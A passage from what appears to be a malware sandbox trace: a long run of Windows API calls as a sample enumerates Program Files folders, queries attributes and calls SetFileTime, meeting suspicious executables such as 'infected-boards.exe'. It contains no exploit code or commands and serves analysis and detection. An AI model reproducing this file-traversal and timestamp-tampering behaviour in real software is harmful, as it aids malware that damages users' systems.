(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0045.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0045.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0045.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0045.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0045.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9de8 [0045.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0045.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0045.299] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="")) returned 1 [0045.299] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0045.299] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0045.299] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0045.299] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9f960f90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f960f90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa0012d70, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0012d70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9d33b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9d33b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0ef36f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ef36f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa10241f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa10241f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 0 [0045.300] GetLastError () returned 0x12 [0045.300] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e8f40 [0045.300] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa44a8750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa44a8750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.300] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff54690, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff54690, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0045.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0045.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff54690, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff54690, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0045.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0045.300] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0045.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.300] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0045.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.301] NtClose (Handle=0x124) returned 0x0 [0045.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0045.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0045.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0045.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0045.301] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0045.301] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff54690, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff54690, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.301] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0045.301] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33baff60, ftCreationTime.dwHighDateTime=0x1d5c182, ftLastAccessTime.dwLowDateTime=0x56d18220, ftLastAccessTime.dwHighDateTime=0x1d54de8, ftLastWriteTime.dwLowDateTime=0x56d18220, ftLastWriteTime.dwHighDateTime=0x1d54de8, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="")) returned 1 [0045.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.301] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd36c210, ftCreationTime.dwHighDateTime=0x1d5ab08, ftLastAccessTime.dwLowDateTime=0xb2c530b0, ftLastAccessTime.dwHighDateTime=0x1d56f97, ftLastWriteTime.dwLowDateTime=0xb2c530b0, ftLastWriteTime.dwHighDateTime=0x1d56f97, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="infected-boards.exe", cAlternateFileName="")) returned 1 [0045.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.301] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb731b8a0, ftCreationTime.dwHighDateTime=0x1d5625c, ftLastAccessTime.dwLowDateTime=0x25710030, ftLastAccessTime.dwHighDateTime=0x1d5a2c4, ftLastWriteTime.dwLowDateTime=0x25710030, ftLastWriteTime.dwHighDateTime=0x1d5a2c4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="kindsbradwindsor.exe", cAlternateFileName="")) returned 1 [0045.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.302] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0045.302] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0045.302] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0045.302] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0045.302] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0045.302] GetLastError () returned 0x12 [0045.302] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0045.302] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0045.302] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff54690, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff54690, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.302] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0045.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.302] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0045.303] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0045.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.303] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0045.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.303] NtClose (Handle=0x124) returned 0x0 [0045.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0045.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0045.303] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f80 [0045.303] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, 